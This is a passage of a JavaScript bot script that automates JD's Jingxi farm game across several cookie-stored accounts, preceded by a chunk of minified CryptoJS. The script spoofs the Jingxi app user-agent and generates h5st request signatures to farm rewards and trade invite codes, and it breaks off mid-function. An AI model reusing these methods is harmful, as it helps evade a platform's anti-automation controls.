2080, 13: 0, 14: 134217760, 15: 133152, 2147483648: 2048, 2147483649: 134350880, 2147483650: 134219808, 2147483651: 134217728, 2147483652: 134348800, 2147483653: 133120, 2147483654: 133152, 2147483655: 32, 2147483656: 134217760, 2147483657: 2080, 2147483658: 131104, 2147483659: 134350848, 2147483660: 0, 2147483661: 134348832, 2147483662: 134219776, 2147483663: 131072, 16: 133152, 17: 134350848, 18: 32, 19: 2048, 20: 134219776, 21: 134217760, 22: 134348832, 23: 131072, 24: 0, 25: 131104, 26: 134348800, 27: 134219808, 28: 134350880, 29: 133120, 30: 2080, 31: 134217728, 2147483664: 131072, 2147483665: 2048, 2147483666: 134348832, 2147483667: 133152, 2147483668: 32, 2147483669: 134348800, 2147483670: 134217728, 2147483671: 134219808, 2147483672: 134350880, 2147483673: 134217760, 2147483674: 134219776, 2147483675: 0, 2147483676: 133120, 2147483677: 2080, 2147483678: 131104, 2147483679: 134350848 }], u = [4160749569, 528482304, 33030144, 2064384, 129024, 8064, 504, 2147483679], d = a.DES = s.extend({ _doReset: function () { for (var t = this._key, r = t.words, e = [], i = 0; i < 56; i++) { var n = c[i] - 1; e[i] = r[n >>> 5] >>> 31 - n % 32 & 1 } for (var o = this._subKeys = [], s = 0; s < 16; s++) { for (var a = o[s] = [], f = l[s], i = 0; i < 24; i++)a[i / 6 | 0] |= e[(h[i] - 1 + f) % 28] << 31 - i % 6, a[4 + (i / 6 | 0)] |= e[28 + (h[i + 24] - 1 + f) % 28] << 31 - i % 6; a[0] = a[0] << 1 | a[0] >>> 31; for (var i = 1; i < 7; i++)a[i] = a[i] >>> 4 * (i - 1) + 3; a[7] = a[7] << 5 | a[7] >>> 27 } for (var u = this._invSubKeys = [], i = 0; i < 16; i++)u[i] = o[15 - i] }, encryptBlock: function (t, r) { this._doCryptBlock(t, r, this._subKeys) }, decryptBlock: function (t, r) { this._doCryptBlock(t, r, this._invSubKeys) }, _doCryptBlock: function (t, i, n) { this._lBlock = t[i], this._rBlock = t[i + 1], r.call(this, 4, 252645135), r.call(this, 16, 65535), e.call(this, 2, 858993459), e.call(this, 8, 16711935), r.call(this, 1, 1431655765); for (var o = 0; o < 16; o++) { for (var s = n[o], a = this._lBlock, c = this._rBlock, h = 0, l = 0; l < 8; l++)h |= f[l][((c ^ s[l]) & u[l]) >>> 0]; this._lBlock = c, this._rBlock = a ^ h } var d = this._lBlock; this._lBlock = this._rBlock, this._rBlock = d, r.call(this, 1, 1431655765), e.call(this, 8, 16711935), e.call(this, 2, 858993459), r.call(this, 16, 65535), r.call(this, 4, 252645135), t[i] = this._lBlock, t[i + 1] = this._rBlock }, keySize: 2, ivSize: 2, blockSize: 2 }); i.DES = s._createHelper(d); var v = a.TripleDES = s.extend({ _doReset: function () { var t = this._key, r = t.words; this._des1 = d.createEncryptor(o.create(r.slice(0, 2))), this._des2 = d.createEncryptor(o.create(r.slice(2, 4))), this._des3 = d.createEncryptor(o.create(r.slice(4, 6))) }, encryptBlock: function (t, r) { this._des1.encryptBlock(t, r), this._des2.decryptBlock(t, r), this._des3.encryptBlock(t, r) }, decryptBlock: function (t, r) { this._des3.decryptBlock(t, r), this._des2.encryptBlock(t, r), this._des1.decryptBlock(t, r) }, keySize: 6, ivSize: 2, blockSize: 2 }); i.TripleDES = s._createHelper(v) + }(), function () { function r() { for (var t = this._S, r = this._i, e = this._j, i = 0, n = 0; n < 4; n++) { r = (r + 1) % 256, e = (e + t[r]) % 256; var o = t[r]; t[r] = t[e], t[e] = o, i |= t[(t[r] + t[e]) % 256] << 24 - 8 * n } return this._i = r, this._j = e, i } var e = t, i = e.lib, n = i.StreamCipher, o = e.algo, s = o.RC4 = n.extend({ _doReset: function () { for (var t = this._key, r = t.words, e = t.sigBytes, i = this._S = [], n = 0; n < 256; n++)i[n] = n; for (var n = 0, o = 0; n < 256; n++) { var s = n % e, a = r[s >>> 2] >>> 24 - s % 4 * 8 & 255; o = (o + i[n] + a) % 256; var c = i[n]; i[n] = i[o], i[o] = c } this._i = this._j = 0 }, _doProcessBlock: function (t, e) { t[e] ^= r.call(this) }, keySize: 8, ivSize: 0 }); e.RC4 = n._createHelper(s); var a = o.RC4Drop = s.extend({ cfg: s.cfg.extend({ drop: 192 }), _doReset: function () { s._doReset.call(this); for (var t = this.cfg.drop; t > 0; t--)r.call(this) } }); e.RC4Drop = n._createHelper(a) }(), t.mode.CTRGladman = function () { function r(t) { if (255 === (t >> 24 & 255)) { var r = t >> 16 & 255, e = t >> 8 & 255, i = 255 & t; 255 === r ? (r = 0, 255 === e ? (e = 0, 255 === i ? i = 0 : ++i) : ++e) : ++r, t = 0, t += r << 16, t += e << 8, t += i } else t += 1 << 24; return t } function e(t) { return 0 === (t[0] = r(t[0])) && (t[1] = r(t[1])), t } var i = t.lib.BlockCipherMode.extend(), n = i.Encryptor = i.extend({ processBlock: function (t, r) { var i = this._cipher, n = i.blockSize, o = this._iv, s = this._counter; o && (s = this._counter = o.slice(0), this._iv = void 0), e(s); var a = s.slice(0); i.encryptBlock(a, 0); for (var c = 0; c < n; c++)t[r + c] ^= a[c] } }); return i.Decryptor = n, i }(), function () { function r() { for (var t = this._X, r = this._C, e = 0; e < 8; e++)a[e] = r[e]; r[0] = r[0] + 1295307597 + this._b | 0, r[1] = r[1] + 3545052371 + (r[0] >>> 0 < a[0] >>> 0 ? 1 : 0) | 0, r[2] = r[2] + 886263092 + (r[1] >>> 0 < a[1] >>> 0 ? 1 : 0) | 0, r[3] = r[3] + 1295307597 + (r[2] >>> 0 < a[2] >>> 0 ? 1 : 0) | 0, r[4] = r[4] + 3545052371 + (r[3] >>> 0 < a[3] >>> 0 ? 1 : 0) | 0, r[5] = r[5] + 886263092 + (r[4] >>> 0 < a[4] >>> 0 ? 1 : 0) | 0, r[6] = r[6] + 1295307597 + (r[5] >>> 0 < a[5] >>> 0 ? 1 : 0) | 0, r[7] = r[7] + 3545052371 + (r[6] >>> 0 < a[6] >>> 0 ? 1 : 0) | 0, this._b = r[7] >>> 0 < a[7] >>> 0 ? 1 : 0; for (var e = 0; e < 8; e++) { var i = t[e] + r[e], n = 65535 & i, o = i >>> 16, s = ((n * n >>> 17) + n * o >>> 15) + o * o, h = ((4294901760 & i) * i | 0) + ((65535 & i) * i | 0); c[e] = s ^ h } t[0] = c[0] + (c[7] << 16 | c[7] >>> 16) + (c[6] << 16 | c[6] >>> 16) | 0, t[1] = c[1] + (c[0] << 8 | c[0] >>> 24) + c[7] | 0, t[2] = c[2] + (c[1] << 16 | c[1] >>> 16) + (c[0] << 16 | c[0] >>> 16) | 0, t[3] = c[3] + (c[2] << 8 | c[2] >>> 24) + c[1] | 0, t[4] = c[4] + (c[3] << 16 | c[3] >>> 16) + (c[2] << 16 | c[2] >>> 16) | 0, t[5] = c[5] + (c[4] << 8 | c[4] >>> 24) + c[3] | 0, t[6] = c[6] + (c[5] << 16 | c[5] >>> 16) + (c[4] << 16 | c[4] >>> 16) | 0, t[7] = c[7] + (c[6] << 8 | c[6] >>> 24) + c[5] | 0 } var e = t, i = e.lib, n = i.StreamCipher, o = e.algo, s = [], a = [], c = [], h = o.Rabbit = n.extend({ _doReset: function () { for (var t = this._key.words, e = this.cfg.iv, i = 0; i < 4; i++)t[i] = 16711935 & (t[i] << 8 | t[i] >>> 24) | 4278255360 & (t[i] << 24 | t[i] >>> 8); var n = this._X = [t[0], t[3] << 16 | t[2] >>> 16, t[1], t[0] << 16 | t[3] >>> 16, t[2], t[1] << 16 | t[0] >>> 16, t[3], t[2] << 16 | t[1] >>> 16], o = this._C = [t[2] << 16 | t[2] >>> 16, 4294901760 & t[0] | 65535 & t[1], t[3] << 16 | t[3] >>> 16, 4294901760 & t[1] | 65535 & t[2], t[0] << 16 | t[0] >>> 16, 4294901760 & t[2] | 65535 & t[3], t[1] << 16 | t[1] >>> 16, 4294901760 & t[3] | 65535 & t[0]]; this._b = 0; for (var i = 0; i < 4; i++)r.call(this); for (var i = 0; i < 8; i++)o[i] ^= n[i + 4 & 7]; if (e) { var s = e.words, a = s[0], c = s[1], h = 16711935 & (a << 8 | a >>> 24) | 4278255360 & (a << 24 | a >>> 8), l = 16711935 & (c << 8 | c >>> 24) | 4278255360 & (c << 24 | c >>> 8), f = h >>> 16 | 4294901760 & l, u = l << 16 | 65535 & h; o[0] ^= h, o[1] ^= f, o[2] ^= l, o[3] ^= u, o[4] ^= h, o[5] ^= f, o[6] ^= l, o[7] ^= u; for (var i = 0; i < 4; i++)r.call(this) } }, _doProcessBlock: function (t, e) { var i = this._X; r.call(this), s[0] = i[0] ^ i[5] >>> 16 ^ i[3] << 16, s[1] = i[2] ^ i[7] >>> 16 ^ i[5] << 16, s[2] = i[4] ^ i[1] >>> 16 ^ i[7] << 16, s[3] = i[6] ^ i[3] >>> 16 ^ i[1] << 16; for (var n = 0; n < 4; n++)s[n] = 16711935 & (s[n] << 8 | s[n] >>> 24) | 4278255360 & (s[n] << 24 | s[n] >>> 8), t[e + n] ^= s[n] }, blockSize: 4, ivSize: 2 }); e.Rabbit = n._createHelper(h) }(), t.mode.CTR = function () { var r = t.lib.BlockCipherMode.extend(), e = r.Encryptor = r.extend({ processBlock: function (t, r) { var e = this._cipher, i = e.blockSize, n = this._iv, o = this._counter; n && (o = this._counter = n.slice(0), this._iv = void 0); var s = o.slice(0); e.encryptBlock(s, 0), o[i - 1] = o[i - 1] + 1 | 0; for (var a = 0; a < i; a++)t[r + a] ^= s[a] } }); return r.Decryptor = e, r }(), function () { function r() { for (var t = this._X, r = this._C, e = 0; e < 8; e++)a[e] = r[e]; r[0] = r[0] + 1295307597 + this._b | 0, r[1] = r[1] + 3545052371 + (r[0] >>> 0 < a[0] >>> 0 ? 1 : 0) | 0, r[2] = r[2] + 886263092 + (r[1] >>> 0 < a[1] >>> 0 ? 1 : 0) | 0, r[3] = r[3] + 1295307597 + (r[2] >>> 0 < a[2] >>> 0 ? 1 : 0) | 0, r[4] = r[4] + 3545052371 + (r[3] >>> 0 < a[3] >>> 0 ? 1 : 0) | 0, r[5] = r[5] + 886263092 + (r[4] >>> 0 < a[4] >>> 0 ? 1 : 0) | 0, r[6] = r[6] + 1295307597 + (r[5] >>> 0 < a[5] >>> 0 ? 1 : 0) | 0, r[7] = r[7] + 3545052371 + (r[6] >>> 0 < a[6] >>> 0 ? 1 : 0) | 0, this._b = r[7] >>> 0 < a[7] >>> 0 ? 1 : 0; for (var e = 0; e < 8; e++) { var i = t[e] + r[e], n = 65535 & i, o = i >>> 16, s = ((n * n >>> 17) + n * o >>> 15) + o * o, h = ((4294901760 & i) * i | 0) + ((65535 & i) * i | 0); c[e] = s ^ h } t[0] = c[0] + (c[7] << 16 | c[7] >>> 16) + (c[6] << 16 | c[6] >>> 16) | 0, t[1] = c[1] + (c[0] << 8 | c[0] >>> 24) + c[7] | 0, t[2] = c[2] + (c[1] << 16 | c[1] >>> 16) + (c[0] << 16 | c[0] >>> 16) | 0, t[3] = c[3] + (c[2] << 8 | c[2] >>> 24) + c[1] | 0, t[4] = c[4] + (c[3] << 16 | c[3] >>> 16) + (c[2] << 16 | c[2] >>> 16) | 0, t[5] = c[5] + (c[4] << 8 | c[4] >>> 24) + c[3] | 0, t[6] = c[6] + (c[5] << 16 | c[5] >>> 16) + (c[4] << 16 | c[4] >>> 16) | 0, t[7] = c[7] + (c[6] << 8 | c[6] >>> 24) + c[5] | 0 } var e = t, i = e.lib, n = i.StreamCipher, o = e.algo, s = [], a = [], c = [], h = o.RabbitLegacy = n.extend({ _doReset: function () { var t = this._key.words, e = this.cfg.iv, i = this._X = [t[0], t[3] << 16 | t[2] >>> 16, t[1], t[0] << 16 | t[3] >>> 16, t[2], t[1] << 16 | t[0] >>> 16, t[3], t[2] << 16 | t[1] >>> 16], n = this._C = [t[2] << 16 | t[2] >>> 16, 4294901760 & t[0] | 65535 & t[1], t[3] << 16 | t[3] >>> 16, 4294901760 & t[1] | 65535 & t[2], t[0] << 16 | t[0] >>> 16, 4294901760 & t[2] | 65535 & t[3], t[1] << 16 | t[1] >>> 16, 4294901760 & t[3] | 65535 & t[0]]; this._b = 0; for (var o = 0; o < 4; o++)r.call(this); for (var o = 0; o < 8; o++)n[o] ^= i[o + 4 & 7]; if (e) { var s = e.words, a = s[0], c = s[1], h = 16711935 & (a << 8 | a >>> 24) | 4278255360 & (a << 24 | a >>> 8), l = 16711935 & (c << 8 | c >>> 24) | 4278255360 & (c << 24 | c >>> 8), f = h >>> 16 | 4294901760 & l, u = l << 16 | 65535 & h; n[0] ^= h, n[1] ^= f, n[2] ^= l, n[3] ^= u, n[4] ^= h, n[5] ^= f, n[6] ^= l, n[7] ^= u; for (var o = 0; o < 4; o++)r.call(this) } }, _doProcessBlock: function (t, e) { var i = this._X; r.call(this), s[0] = i[0] ^ i[5] >>> 16 ^ i[3] << 16, s[1] = i[2] ^ i[7] >>> 16 ^ i[5] << 16, s[2] = i[4] ^ i[1] >>> 16 ^ i[7] << 16, s[3] = i[6] ^ i[3] >>> 16 ^ i[1] << 16; for (var n = 0; n < 4; n++)s[n] = 16711935 & (s[n] << 8 | s[n] >>> 24) | 4278255360 & (s[n] << 24 | s[n] >>> 8), t[e + n] ^= s[n] }, blockSize: 4, ivSize: 2 }); e.RabbitLegacy = n._createHelper(h) }(), t.pad.ZeroPadding = { pad: function (t, r) { var e = 4 * r; t.clamp(), t.sigBytes += e - (t.sigBytes % e || e) }, unpad: function (t) { for (var r = t.words, e = t.sigBytes - 1; !(r[e >>> 2] >>> 24 - e % 4 * 8 & 255);)e--; t.sigBytes = e + 1 } }, t +}); +const $ = new Env('京喜牧场'); +const notify = $.isNode() ? require('./sendNotify') : ''; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +//京喜APP的UA。领取助力任务奖励需要京喜APP的UA,环境变量:JX_USER_AGENT,有能力的可以填上自己的UA +$.inviteCodeList = []; +let cookiesArr = []; +let UA, token, UAInfo = {} +$.appId = 10028; +function oc(fn, defaultVal) {//optioanl chaining + try { + return fn() + } catch (e) { + return undefined + } +} +let cardinfo = { + "16": "小黄鸡", + "17": "辣子鸡", + "18": "猪肚鸡", + "19": "椰子鸡" +} +const petInfo = { + "4": { + name: "猪肚鸡", + price: 412 * 1e3, + weights: 2288.889 // 每个蛋的成本 + }, + "5": { + name: "椰子鸡", + price: 3355 * 1e2, + weights: 2795.833 + }, + "3": { + name: "辣子鸡", + price: 2975 * 1e2, + weights: 2975.0 + }, + "1": { + name: "小黄鸡", + price: 25 * 1e4, + weights: 3125.0 + }, +} +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { }; +} else { + cookiesArr = [$.getdata("CookieJD"), $.getdata("CookieJD2"), ...$.toObj($.getdata("CookiesJD") || "[]").map((item) => item.cookie)].filter((item) => !!item); +} +!(async () => { + $.CryptoJS = $.isNode() ? require('crypto-js') : CryptoJS; + await requestAlgo(); + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); + return; + } + console.log('京喜牧场\n' + + '更新时间:2021-11-7\n' + + '活动入口:京喜APP-我的-京喜牧场\n' + + '温馨提示:请先手动完成【新手指导任务】再运行脚本') + for (let i = 0; i < cookiesArr.length; i++) { + $.index = i + 1; + $.cookie = cookiesArr[i]; + $.isLogin = true; + $.nickName = ''; + UA = `jdpingou;iPhone;4.13.0;14.4.2;${randomString(40)};network/wifi;model/iPhone10,2;appBuild/100609;supportApplePay/1;hasUPPay/0;pushNoticeIsOpen/1;hasOCPay/0;supportBestPay/0;session/${Math.random * 98 + 1};pap/JA2019_3111789;brand/apple;supportJDSHWK/1;Mozilla/5.0 (iPhone; CPU iPhone OS 14_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148` + UAInfo[$.UserName] = UA + await TotalBean(); + $.UserName = decodeURIComponent($.cookie.match(/pt_pin=([^; ]+)(?=;?)/) && $.cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]); + console.log(`\n*****开始【京东账号${$.index}】${$.nickName || $.UserName}*****\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + token = await getJxToken() + await pasture(); + await $.wait(2000); + } + $.res = await getAuthorShareCode('') + if (!$.res) { + $.http.get({url: ''}).then((resp) => {}).catch((e) => console.log('刷新CDN异常', e)); + await $.wait(1000) + $.res = await getAuthorShareCode('') + } + $.res = [...($.res || []), ...(await getAuthorShareCode('') || [])] + await shareCodesFormat() + for (let i = 0; i < cookiesArr.length; i++) { + $.cookie = cookiesArr[i]; + $.UserName = decodeURIComponent($.cookie.match(/pt_pin=([^; ]+)(?=;?)/) && $.cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]); + $.canHelp = true; + $.index = i + 1; + UA = UAInfo[$.UserName] + token = await getJxToken() + if ($.newShareCodes && $.newShareCodes.length) { + console.log(`\n开始互助\n`); + for (let j = 0; j < $.newShareCodes.length && $.canHelp; j++) { + console.log(`账号${$.UserName} 去助力 ${$.newShareCodes[j]}`) + $.delcode = false + $.code = $.newShareCodes[j]; + await takeGetRequest('help'); + await $.wait(2000); + if ($.delcode) { + $.newShareCodes.splice(j, 1) + j-- + continue + } + } + } else { + break + } + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) + +async function pasture() { + try { + $.homeInfo = {}; + $.petidList = []; + $.crowInfo = {}; + await takeGetRequest('GetHomePageInfo'); + if (JSON.stringify($.homeInfo) === '{}') { + console.log(`获取活动详情失败`); + return; + } else { + if (!$.homeInfo.petinfo) { + console.log(`\n温馨提示:${$.UserName} 请先手动完成【新手指导任务】再运行脚本再运行脚本\n`); + return; + } + try { + $.currentStep = oc(() => $.homeInfo.finishedtaskId) + console.log(`打印新手流程进度:当前进度:${$.currentStep},下一流程:${$.homeInfo.maintaskId}`) + if ($.homeInfo.maintaskId !== "pause" || isNew($.currentStep)) { + console.log(`开始初始化`) + $.step = isNew($.currentStep) ? isNew($.currentStep, true) : $.homeInfo.maintaskId + await takeGetRequest('DoMainTask'); + for (let i = 0; i < 20; i++) { + if ($.DoMainTask.maintaskId !== "pause") { + await $.wait(2000) + $.currentStep = oc(() => $.DoMainTask.finishedtaskId) + $.step = $.DoMainTask.maintaskId + await takeGetRequest('DoMainTask'); + } else if (isNew($.currentStep)) { + $.step = isNew($.currentStep, true) + await takeGetRequest('DoMainTask'); + } else { + console.log(`初始化成功\n`) + break + } + } + } + } catch (e) { + console.warn('活动初始化错误') + } + console.log('获取活动信息成功'); + console.log(`互助码:${$.homeInfo.sharekey}`); + $.taskList = [], $.dateType = ``, $.source = `jxmc`, $.bizCode = `jxmc`; + await takeGetRequest('GetUserTaskStatusList'); + for (let key of Object.keys($.taskList)) { + let vo = $.taskList[key] + if (vo.taskName === "邀请好友助力养鸡" || vo.taskType === 4) { + if (vo.completedTimes >= vo.configTargetTimes) { + console.log(`助力已满,不上传助力码`) + } else { + await uploadShareCode($.homeInfo.sharekey) + $.inviteCodeList.push($.homeInfo.sharekey); + await $.wait(2000) + } + } + } + const petNum = (oc(() => $.homeInfo.petinfo) || []).length + await takeGetRequest('GetCardInfo'); + if ($.GetCardInfo && $.GetCardInfo.cardinfo) { + let msg = ''; + for (let vo of $.GetCardInfo.cardinfo) { + if (vo.currnum > 0) { + msg += `${vo.currnum}张${cardinfo[vo.cardtype]}卡片 ` + } + if (petNum < 6) { + $.cardType = vo.cardtype + for (let i = vo.currnum; i >= vo.neednum; i -= vo.neednum) { + console.log(`${cardinfo[vo.cardtype]}卡片已满${vo.neednum}张,去兑换...`) + await $.wait(5000) + await takeGetRequest("Combine") + } + } + } + console.log(`\n可抽奖次数:${$.GetCardInfo.times}${msg ? `,拥有卡片:${msg}` : ''}\n`) + if ($.GetCardInfo.times !== 0) { + console.log(`开始抽奖`) + for (let i = $.GetCardInfo.times; i > 0; i--) { + await $.wait(2000) + await takeGetRequest('DrawCard'); + } + console.log('') + } + } + console.log("查看宠物信息") + if (!petNum) { + console.log(`你的鸡都生完蛋跑掉啦!!`) + await buyNewPet(true) + } + for (let i = 0; i < petNum; i++) { + $.onepetInfo = $.homeInfo.petinfo[i]; + const { bornvalue, progress, strong, type, stage } = $.onepetInfo + switch (stage) { + case 1: + console.log(`这里有一只幼年${petInfo[type].name},成长进度:${progress}%`) + break + case 2: + console.log(`这里有一只青年${petInfo[type].name},生蛋进度:${bornvalue}/${strong},成长进度:${progress}%`) + break + case 4: + console.log(`这里有一只壮年${petInfo[type].name},离家出走进度(生蛋进度):${bornvalue}/${strong}`) + break + default: + console.log(`这里有一只不知道什么状态的鸡:${JSON.stringify($.onepetInfo)}`) + } + $.petidList.push($.onepetInfo.petid); + if ($.onepetInfo.cangetborn === 1) { + console.log(`开始收鸡蛋`); + await takeGetRequest('GetEgg'); + await $.wait(1000); + } + } + $.crowInfo = $.homeInfo.cow; + } + $.GetVisitBackInfo = {}; + await $.wait(2000); + await takeGetRequest('GetVisitBackInfo'); + if ($.GetVisitBackInfo.iscandraw === 1) { + await $.wait(2000); + await takeGetRequest('GetVisitBackCabbage'); + } + await $.wait(2000); + $.GetSignInfo = {}; + await takeGetRequest('GetSignInfo'); + if (JSON.stringify($.GetSignInfo) !== '{}' && $.GetSignInfo.signlist) { + let signList = $.GetSignInfo.signlist; + for (let j = 0; j < signList.length; j++) { + if (signList[j].fortoday && !signList[j].hasdone) { + await $.wait(2000); + console.log(`\n去签到`); + await takeGetRequest('GetSignReward'); + } + } + } + await $.wait(2000); + if ($.crowInfo.lastgettime) { + console.log('\n收奶牛金币'); + await takeGetRequest('cow'); + await $.wait(2000); + } + await $.wait(2000); + await takeGetRequest('GetUserLoveInfo'); + if ($.GetUserLoveInfo) { + for (let key of Object.keys($.GetUserLoveInfo)) { + let vo = $.GetUserLoveInfo[key] + if (vo.drawstatus === 1) { + await $.wait(2000); + $.lovevalue = vo.lovevalue; + await takeGetRequest('DrawLoveHongBao'); + } + } + } + $.taskList = [], $.dateType = ``, $.source = `jxmc`, $.bizCode = `jxmc`; + for (let j = 2; j >= 0; j--) { + if (j === 0) { + $.dateType = ``; + } else { + $.dateType = j; + } + await takeGetRequest('GetUserTaskStatusList'); + await $.wait(2000); + await doTask(j); + await $.wait(2000); + if (j === 2) { + //割草 + console.log(`\n开始进行割草`); + $.runFlag = true; + for (let i = 0; i < 30 && $.runFlag; i++) { + $.mowingInfo = {}; + console.log(`开始第${i + 1}次割草`); + await takeGetRequest('mowing'); + await $.wait(2000); + if ($.mowingInfo.surprise === true) { + //除草礼盒 + console.log(`领取除草礼盒`); + await takeGetRequest('GetSelfResult'); + await $.wait(3000); + } + } + + //横扫鸡腿 + $.runFlag = true; + console.log(`\n开始进行横扫鸡腿`); + for (let i = 0; i < 30 && $.runFlag; i++) { + console.log(`开始第${i + 1}次横扫鸡腿`); + await takeGetRequest('jump'); + await $.wait(2000); + } + } + } + if ($.GetUserLoveInfo) { + $.taskList = [], $.dateType = `2`, $.source = `jxmc_zanaixin`, $.bizCode = `jxmc_zanaixin`; + for (let j = 2; j >= 0; j--) { + await takeGetRequest('GetUserTaskStatusList'); + await $.wait(2000); + await doTask(j); + await $.wait(2000); + } + } + + await takeGetRequest('GetHomePageInfo'); + await $.wait(2000); + let materialNumber = 0; + let materialinfoList = $.homeInfo.materialinfo; + for (let j = 0; j < materialinfoList.length; j++) { + if (materialinfoList[j].type !== 1) { + continue; + } + materialNumber = Number(materialinfoList[j].value);//白菜数量 + } + if (Number($.homeInfo.coins) > 5000) { + let canBuyTimes = Math.floor(Number($.homeInfo.coins) / 5000); + console.log(`\n共有金币${$.homeInfo.coins},可以购买${canBuyTimes}次白菜`); + if (Number(materialNumber) < 400) { + for (let j = 0; j < canBuyTimes && j < 4; j++) { + console.log(`第${j + 1}次购买白菜`); + await takeGetRequest('buy'); + await $.wait(2000); + } + await takeGetRequest('GetHomePageInfo'); + await $.wait(2000); + } else { + console.log(`现有白菜${materialNumber},大于400颗,不进行购买`); + } + } else { + console.log(`\n共有金币${$.homeInfo.coins}`); + } + materialinfoList = $.homeInfo.materialinfo; + for (let j = 0; j < materialinfoList.length; j++) { + if (materialinfoList[j].type !== 1) { + continue; + } + if (Number(materialinfoList[j].value) > 10) { + $.canFeedTimes = Math.floor(Number(materialinfoList[j].value) / 10); + console.log(`\n共有白菜${materialinfoList[j].value}颗,每次喂10颗,可以喂${$.canFeedTimes}次`); + $.runFeed = true; + for (let k = 0; k < $.canFeedTimes && $.runFeed && k < 40; k++) { + $.pause = false; + console.log(`开始第${k + 1}次喂白菜`); + await takeGetRequest('feed'); + await $.wait(4000); + if ($.pause) { + await takeGetRequest('GetHomePageInfo'); + await $.wait(1000); + for (let n = 0; n < $.homeInfo.petinfo.length; n++) { + $.onepetInfo = $.homeInfo.petinfo[n]; + if ($.onepetInfo.cangetborn === 1) { + console.log(`开始收鸡蛋`); + await takeGetRequest('GetEgg'); + await $.wait(1000); + } + } + } + } + } + } + } catch (e) { + $.logErr(e) + } +} + +async function buyNewPet(isHungery = false) { + let weightsTemp = -1, nameTemp = "" + for (let key in petInfo) { + const onePet = petInfo[key] + const { name, price, weights } = onePet + if (price <= $.coins) { + if (weights > weightsTemp) { + weightsTemp = weights, nameTemp = name + $.petType = key + } + } + } + if (weightsTemp !== -1) { + await buy() + if (!isHungery) await buyNewPet() + } else { + console.log("你目前没有金币可以直接购买鸡") + } + async function buy() { + console.log("去买" + nameTemp) + await takeGetRequest("BuyNew") + } +} + +async function doTask(j) { + for (let i = 0; i < $.taskList.length; i++) { + $.oneTask = $.taskList[i]; + //console.log($.oneTask.taskId); + if ($.oneTask.dateType === 1) {//成就任务 + if ($.oneTask.awardStatus === 2 && $.oneTask.completedTimes === $.oneTask.targetTimes) { + console.log(`完成任务:${$.oneTask.taskName}`); + await takeGetRequest('Award'); + await $.wait(2000); + } + } else {//每日任务 + if ($.oneTask.awardStatus === 1) { + if (j === 0) { + console.log(`任务:${$.oneTask.taskName},已完成`); + } + } else if ($.oneTask.taskType === 4) { + if ($.oneTask.awardStatus === 2 && $.oneTask.completedTimes === $.oneTask.targetTimes) { + console.log(`完成任务:${$.oneTask.taskName}`); + await takeGetRequest('Award'); + await $.wait(2000); + } else if (j === 0) { + console.log(`任务:${$.oneTask.taskName},未完成`); + } + } else if ($.oneTask.awardStatus === 2 && $.oneTask.taskCaller === 1) {//浏览任务 + if (Number($.oneTask.completedTimes) > 0 && $.oneTask.completedTimes === $.oneTask.targetTimes) { + console.log(`完成任务:${$.oneTask.taskName}`); + await takeGetRequest('Award'); + await $.wait(2000); + } + for (let j = Number($.oneTask.completedTimes); j < Number($.oneTask.configTargetTimes); j++) { + console.log(`去做任务:${$.oneTask.description}`); + await takeGetRequest('DoTask'); + await $.wait(6000); + console.log(`完成任务:${$.oneTask.description}`); + await takeGetRequest('Award'); + } + } else if ($.oneTask.awardStatus === 2 && $.oneTask.completedTimes === $.oneTask.targetTimes) { + console.log(`完成任务:${$.oneTask.taskName}`); + await takeGetRequest('Award'); + await $.wait(2000); + } + } + } +} + +async function takeGetRequest(type) { + let url = ``; + let myRequest = ``; + switch (type) { + case 'GetHomePageInfo': + url = `https://m.jingxi.com/jxmc/queryservice/GetHomePageInfo?channel=7&sceneid=1001&activeid=null&activekey=${$.activekey}&isgift=1&isquerypicksite=1`; + url += `&_stk=${getStk(url)}`; + url += `&_ste=1&h5st=${decrypt(Date.now(), '', '', url)}&_=${Date.now() + 2}&sceneval=2&g_login_type=1&callback=jsonpCBK${String.fromCharCode(Math.floor(Math.random() * 26) + "A".charCodeAt(0))}&g_ty=ls`; + myRequest = getGetRequest(`GetHomePageInfo`, url); + break; + case 'GetUserTaskStatusList': + url = `https://m.jingxi.com/newtasksys/newtasksys_front/GetUserTaskStatusList?_=${Date.now() + 2}&source=${$.source}&bizCode=${$.bizCode}&dateType=${$.dateType}&showAreaTaskFlag=0&jxpp_wxapp_type=7` + url += `&_stk=${getStk(url)}` + url += `&_ste=1&h5st=${decrypt(Date.now(), '', '', url)}&sceneval=2&g_login_type=1&g_ty=ajax` + myRequest = getGetRequest(`GetUserTaskStatusList`, url); + break; + case 'mowing': //割草 + url = `https://m.jingxi.com/jxmc/operservice/Action?channel=7&sceneid=1001&activeid=${$.activeid}&activekey=${$.activekey}&type=2&jxmc_jstoken=${token['farm_jstoken']}×tamp=${token['timestamp']}&phoneid=${token['phoneid']}&_stk=channel%2Csceneid%2Ctype&_ste=1`; + url += `&h5st=${decrypt(Date.now(), '', '', url)}&_=${Date.now() + 2}&sceneval=2&g_login_type=1&callback=jsonpCBK${String.fromCharCode(Math.floor(Math.random() * 26) + "A".charCodeAt(0))}&g_ty=ls`; + myRequest = getGetRequest(`mowing`, url); + break; + case 'GetSelfResult': + url = `https://m.jingxi.com/jxmc/operservice/GetSelfResult?channel=7&sceneid=1001&activeid=${$.activeid}&activekey=${$.activekey}&type=14&jxmc_jstoken=${token['farm_jstoken']}×tamp=${token['timestamp']}&phoneid=${token['phoneid']}&itemid=undefined&_stk=channel%2Csceneid%2Ctype&_ste=1`; + url += 